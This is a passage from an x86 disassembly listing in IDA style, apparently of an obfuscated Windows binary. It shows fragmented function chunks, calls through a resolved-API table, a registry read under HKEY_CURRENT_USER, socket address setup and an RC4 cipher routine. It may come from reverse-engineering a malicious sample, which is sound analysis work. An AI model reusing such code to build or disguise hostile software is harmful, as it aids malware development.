		movzx	ecx, dl
		mov	al, [eax+ecx+2]
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B3FF8	proc near		; CODE XREF: sub_9B43F4-3F2Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB26C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABCEC SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AE444 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AE674 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF9C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B02B0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B2884 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B527C SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_9B93EC
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	ecx
		pop	edi
		xor	eax, eax
		cmp	edi, 0Eh
		mov	[ebp+var_1C], eax
		mov	esi, edx
		mov	[ebp+var_4], eax
		jb	loc_9B2884
		jmp	off_9B9793
sub_9B3FF8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B403C:				; CODE XREF: sub_9B1F68-6CA8j
		dec	ebx
		mov	[ebp-30h], ebx
		lea	ecx, [ebx+ebx*2]
		lea	ecx, [ebp+ecx*4-250h]
		mov	esi, ecx
		lea	eax, [eax+ebp-250h]
		push	dword ptr [esi]
		pop	edi
		mov	[eax], edi
		mov	edi, [esi+4]
		mov	[eax+4], edi
		push	dword ptr [esi+8]
		pop	esi
		mov	[eax+8], esi
		sub	eax, eax
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		jmp	loc_9B5EE5
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B4078:				; CODE XREF: sub_9B43F4-629j
					; DATA XREF: .text:off_9B91D0o
		test	ah, 7Ch
		jnz	loc_9ACEAF
		jmp	off_9B9414
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4088:				; CODE XREF: sub_9B63D8-5020j
					; DATA XREF: .text:off_9BAA01o
		inc	ebx
		jmp	loc_9B13A8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B4093:				; CODE XREF: sub_9AD3EC+3E84j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B40B4:				; CODE XREF: sub_9B1F68-5917j
		call	sub_9B2010
		or	eax, eax
		jz	loc_9ACD83
		jmp	off_9B9A29
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B40C8:				; CODE XREF: sub_9B0930-23B1j
		mov	edx, [eax+18h]
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B9946
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	edi
		xor	eax, eax
		push	140h
		pop	ecx
		push	off_9BA180
		pop	edi
		rep stosd
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B40F0:				; CODE XREF: sub_9B63D8-35DCj
					; DATA XREF: .text:off_9BAF2Co
		mov	[ebx+ebp-20FBh], dl
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+8]
		pop	ecx
		push	edx
		lea	edx, [ebp-2188h]
		push	edx
		lea	eax, [ebx+ebp-2118h]
		push	eax
		call	dword ptr [ecx+8]
		and	eax, eax
		jz	loc_9B4696
		jmp	loc_9B5844
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B4124:				; CODE XREF: sub_9AC32C+F6Ej
					; DATA XREF: .text:off_9B96F0o
		push	0Ch
		pop	edi


loc_9B4127:				; CODE XREF: sub_9AC32C+F68j
					; sub_9AC32C+8D12j
		test	ebp, ebp
		jz	loc_9AEF93
		jmp	loc_9ADE10
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B4134:				; CODE XREF: sub_9AF25C+4927j
					; DATA XREF: .text:off_9B9F66o
		test	byte ptr [ebp-20h], 4
		jz	loc_9AB9D0
		jmp	loc_9B3F50
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B4144:				; CODE XREF: sub_9B649C-A254j
		movzx	ecx, word ptr [esi+eax]
		mov	[ebp+var_20], ecx
		add	eax, 2
		cmp	ecx, edx
		mov	[ebp+var_1C], eax
		jz	loc_9ACCD8
		jmp	off_9B96A3
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B4160:				; CODE XREF: sub_9AF030+6717j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	edi
		push	edi
		push	eax
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+78h]
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	edi
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		pop	ecx
		push	ecx
		mov	eax, dword_9BBF9C[esi]
		push	eax
		call	dword ptr [edx+70h]
		or	eax, eax
		jz	loc_9AC62B
		jmp	off_9B89BE
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B41A4:				; CODE XREF: sub_9B63D8-ADB1j
		push	dword ptr [ebp-2124h]
		pop	ebx


loc_9B41AB:				; CODE XREF: sub_9B63D8-1620j
		cmp	ebx, 23h
		jl	loc_9AC5C0
		jmp	loc_9ACB60
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B41BC:				; CODE XREF: sub_9B0930-9j
					; DATA XREF: .text:off_9B9F0Bo
		push	off_9B8949
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+18h]
		mov	[ecx+0Ch], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+18h]
		push	dword ptr [eax+0Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B4D3C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B41F0:				; CODE XREF: sub_9B0734+1Ej
					; DATA XREF: .text:off_9B9703o
		xor	ecx, ecx
		push	esi
		pop	edx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		mov	[edx+0Ch], ecx
		mov	word ptr [esi],	2
		mov	[esi+4], ecx
		mov	eax, dword_9BCB74
		mov	[esp+8+var_4], 10h
		mov	ecx, [eax+10h]
		push	0
		call	dword ptr [ecx+8]
		lea	ecx, [esp+8+var_4]
		push	ecx
		push	[esp+0Ch+arg_0]
		pop	ecx
		mov	[esi+2], ax
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	[esp+0Ch+arg_4]
		pop	edx
		push	esi
		push	0
		push	edx
		push	ecx
		push	edi
		call	dword ptr [eax+3Ch]
		or	eax, eax
		jge	loc_9B4D48
		jmp	off_9B8DE3
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B4254:				; CODE XREF: sub_9B1F68+391Dj
		test	al, 10h
		jz	loc_9B0C90
		jmp	off_9B88A2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9B4264:				; CODE XREF: sub_9B327C-816Ej
					; sub_9B327C-58Ej ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B426C:				; CODE XREF: sub_9B0930-4C4Bj
		push	off_9B9FD0
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+5Ch], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+5Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8998
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		sub	ebx, ebx
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B42AC:				; CODE XREF: sub_9B4950-2FFDj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	ebx
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		sub	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B42D0:				; CODE XREF: sub_9B03E8+26F7j
		sub	esi, esi
		jmp	loc_9B2B51
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B42D8:				; CODE XREF: sub_9ADAC4+78Aj
					; sub_9ADAC4+311Fj
		push	edi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B4EB8
		jmp	loc_9AAEC8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B42F0:				; CODE XREF: sub_9B5904-93AEj
					; sub_9B5904-1A14j
					; DATA XREF: ...
		lea	edx, [esi+esi*4]
		mov	dword_9BEC20[edx*8], 1
; END OF FUNCTION CHUNK	FOR sub_9B5904
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B42FE:				; CODE XREF: sub_9B5904-93B4j
					; sub_9B5904-8975j ...
		push	[ebp+var_24]
		pop	ecx
		inc	ecx
		jmp	loc_9AE890
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B4308:				; CODE XREF: sub_9B31A8+3Cj
		push	dword ptr [esi]
		pop	eax
		cmp	eax, edi
		jz	loc_9B1CBF
		jmp	loc_9B12E0
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4318:				; CODE XREF: sub_9B2830-1A7j
		sub	eax, eax
		lea	edi, [ebx+8]
		mov	ax, [edi]
		and	ah, ah
		js	loc_9AD190
		jmp	off_9B92BC
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B4330:				; CODE XREF: sub_9B04A8-3CCBj
		mov	dword ptr [ebp-4044h], 0


loc_9B433A:				; CODE XREF: sub_9B04A8-3CD1j
		test	bl, 1
		jz	loc_9AE460
		jmp	off_9B88B7
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B434C:				; CODE XREF: sub_9B04A8-3A66j
					; DATA XREF: .text:off_9BAB52o
		sub	eax, eax
		mov	[ebp-4044h], eax


loc_9B4354:				; CODE XREF: sub_9B04A8+232Aj
		mov	[ebp-4040h], eax
		cmp	eax, 3
		jge	loc_9ADA08
		jmp	off_9B9151
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B436C:				; CODE XREF: sub_9B1F68-370Fj
		lea	eax, [edi+edi*2]
		shl	eax, 2
		lea	ecx, [eax+ebp-248h]
		cmp	dword ptr [ecx], 0
		jz	loc_9B2640
		jmp	loc_9B0DD8
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B4388:				; CODE XREF: sub_9B5904-4655j
					; DATA XREF: .text:off_9B8DE7o
		lea	ecx, [eax+eax*4]
		push	dword_9BEC1C[ecx*8]
		pop	edx
		test	edx, edx
		jnz	loc_9AF6B8
		jmp	off_9B975D
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4


loc_9B43A4:				; CODE XREF: .text:009B11ADj
					; DATA XREF: .text:off_9B9860o
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9B43AB:				; CODE XREF: sub_9AE400-22Fj
					; sub_9AE400+14FCj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B43CC:				; CODE XREF: sub_9B27D8+Dj
					; DATA XREF: .text:off_9B9E5Eo
		push	edx
		pop	ecx
		mov	esi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		jmp	off_9B8D69
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B43F4	proc near		; CODE XREF: sub_9B3864+84p
					; sub_9B1D80+1F8Ap

; FUNCTION CHUNK AT 009ACEAF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AD544 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AE794 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AF974 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B04C0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009B3B10 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B3DB4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B4078 SIZE 0000000F BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA38C
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	ebx, ecx
		mov	[ebp-1Ch], eax
		mov	[ebp-4], eax
		push	dword ptr [ebp+10h]
		pop	eax
		mov	edi, [eax+4]
		call	sub_9AEDD0
		or	eax, eax
		jnz	loc_9ACEAF
		jmp	off_9BACDC
sub_9B43F4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B4444:				; CODE XREF: sub_9B1A08-2644j
		imul	eax, edi
		shl	eax, 1
		push	eax
		pop	ecx
		mov	eax, 51EB851Fh
		imul	ecx
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		lea	edx, [eax+edx+0Fh]


loc_9B445E:				; CODE XREF: sub_9B1A08+466Bj
		mov	[ebp+var_41FC],	edx
		push	[ebp+var_41F4]
		pop	ecx
		push	ecx
		call	sub_9B5CDC
		or	eax, eax
		jnz	loc_9ADD8C
		jmp	loc_9B61E4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4480	proc near		; CODE XREF: sub_9AEC20-3501p
					; sub_9B03E8-3FB4p ...

var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009ABC84 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AE268 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B1530 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B2890 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009B32B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3DD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B46E4 SIZE 0000002C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9771
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 324h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	edx
		pop	edi
		push	ecx
		pop	ebx
		xor	esi, esi
		mov	[ebp+var_334], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], esi
		lea	edx, [ebp+var_224]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		lea	ecx, [ebp+var_328]
		call	sub_9ABC20
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		lea	ecx, [ebp+var_330]
		push	ecx
		push	20019h
		push	esi
		lea	edx, [ebp+var_224]
		push	edx
		push	80000001h
		call	dword ptr [eax+20h]
		and	eax, eax
		jnz	loc_9AE288
		jmp	loc_9B1530
sub_9B4480	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B4530:				; CODE XREF: sub_9B04A8-44FDj
					; DATA XREF: .text:off_9BA60Do
		mov	dx, [ebp-402Ah]
		cmp	dx, [eax+12h]
		jz	loc_9ADA08
		jmp	loc_9B27C0
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B454B:				; CODE XREF: sub_9AD97C-17EBj
					; sub_9AD97C+3CC6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B457C:				; CODE XREF: sub_9B4950-21C6j
					; DATA XREF: .text:off_9B9388o
		cmp	dword_9BEC20[edi], ebx
		jz	loc_9AEF3A
		jmp	off_9B8EFC
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B4590:				; CODE XREF: sub_9B2830+2324j
					; DATA XREF: .text:off_9B9641o
		push	edi
		lea	edx, [ebx+esi]
		push	edx
		call	sub_9AB11C
		add	esi, edi
		mov	[ebp-1Ch], esi
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B4901
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B45AC	proc near		; CODE XREF: sub_9B63D8:loc_9AB558p
					; sub_9B2830:loc_9ABEF0p ...
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	esi
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	edx
		mov	esi, eax
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
sub_9B45AC	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B45E4:				; CODE XREF: sub_9B57B4-4686j
		push	[ebp+var_24]
		pop	ecx
		push	ecx
		call	dword ptr [eax+8]


loc_9B45EC:				; CODE XREF: sub_9B57B4-8FBFj
		push	128h
		lea	edx, [ebp+var_144]
		push	edx
		push	off_9B97DD
		pop	eax
		call	sub_9B5100
		add	esp, 8
		jmp	loc_9B4BAB
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B4610	proc near		; CODE XREF: sub_9B4FD0-7CB6p
					; .text:009B119Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AB447 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009AE4EC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009AF228 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0AC0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B35CC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009B4ABC SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B90DD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, ecx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BA623
		call	dword ptr [ecx+18h]
		sub	edi, edi
		mov	[ebp+var_4], edi


loc_9B4654:				; CODE XREF: sub_9B4610-53E0j
		mov	[ebp+var_1C], edi
		cmp	edi, 40h
		jge	loc_9AB447
		jmp	off_9BB048
sub_9B4610	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B4668:				; CODE XREF: sub_9B63D8-B72j
		mov	edx, [ebp-216Ch]
		add	edx, 2AC18000h
		push	dword ptr [ebp-2168h]
		pop	eax
		adc	eax, 0FE624E21h
		push	0
		push	989680h
		push	eax
		push	edx
		call	__aulldiv
		mov	ecx, [ebp-2154h]
		mov	[ecx], eax


loc_9B4696:				; CODE XREF: sub_9B63D8-22C1j
					; sub_9B63D8-B78j
		mov	byte ptr [ebx+ebp-20FBh], 0Dh


loc_9B469E:				; CODE XREF: sub_9B63D8-7BABj
					; sub_9B63D8-35E2j
		inc	ebx
		jmp	loc_9AB615
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B46A4:				; CODE XREF: sub_9B1D80-5B51j
		cmp	dword ptr [ebp+14h], 11h
		jnz	loc_9AB0A2
		jmp	off_9B98EA
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B46B4:				; CODE XREF: sub_9AF25C-1690j
		push	esi
		pop	edx
		call	sub_9AF654
		or	eax, eax
		jz	loc_9AB8D1
		jmp	off_9B8DD4
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B46CC	proc near		; CODE XREF: sub_9B4950:loc_9AD3C4p
					; sub_9B1A08-442Bp ...

; FUNCTION CHUNK AT 009AC908 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AEEC4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B2424 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2C00 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B5D64 SIZE 0000000B BYTES

		push	dword_9BEC18
		pop	eax
		test	eax, eax
		jz	loc_9AC908
		jmp	off_9BA703
sub_9B46CC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B46E4:				; CODE XREF: sub_9B4480-11C4j
		mov	esi, 1
		mov	[ebp+var_334], esi


loc_9B46EF:				; CODE XREF: sub_9B4480-1BC3j
					; sub_9B4480-11CAj
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_330]
		push	eax
		call	dword ptr [edx+14h]


loc_9B4703:				; CODE XREF: sub_9B4480-87D6j
		and	esi, esi
		jz	loc_9AEA28
		jmp	sub_9AD1A4
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B4710:				; CODE XREF: sub_9ABD30+A067j
					; DATA XREF: .text:off_9BAA0Do
		lea	edi, [eax+2]


loc_9B4713:				; CODE XREF: sub_9ABD30+1889j
		cmp	esi, edi
		jnz	loc_9ABD3E
		jmp	off_9BA7FA
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B4724	proc near		; CODE XREF: sub_9AB95C+11j

; FUNCTION CHUNK AT 009B05EC SIZE 00000002 BYTES

		push	ebx
		push	edi
		mov	edi, edx
		sub	edi, esi


loc_9B472A:				; CODE XREF: sub_9B4724+53j
		mov	cl, [eax]
		mov	bl, [eax+1]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		lea	ecx, [eax+ecx+2]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	dl, [eax+edx+2]
		add	dl, [eax+ecx+2]
		mov	bl, [esi+edi]
		movzx	ecx, dl
		mov	dl, [eax+ecx+2]
		xor	dl, bl
		mov	[esi], dl
		inc	esi
		dec	ebp
		jnz	short loc_9B472A
		jmp	loc_9B05EC
sub_9B4724	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B14CC


loc_9B4783:				; CODE XREF: sub_9B14CC+3Ej
					; sub_9B14CC+2811j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B14CC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B47A0:				; CODE XREF: sub_9B1A08-4272j
		mov	[ebp+var_41E0],	0
		jmp	loc_9AF398
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B47B0:				; CODE XREF: sub_9B4950-3C8j
					; DATA XREF: .text:off_9B8EFCo
		cmp	dword_9BEC24[edi], ebx
		jnz	loc_9B0D64
		jmp	loc_9B2A4C
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B47C4:				; CODE XREF: sub_9ACEE8+5452j
		call	sub_9B227C
		sub	eax, [ebp-0B8h]
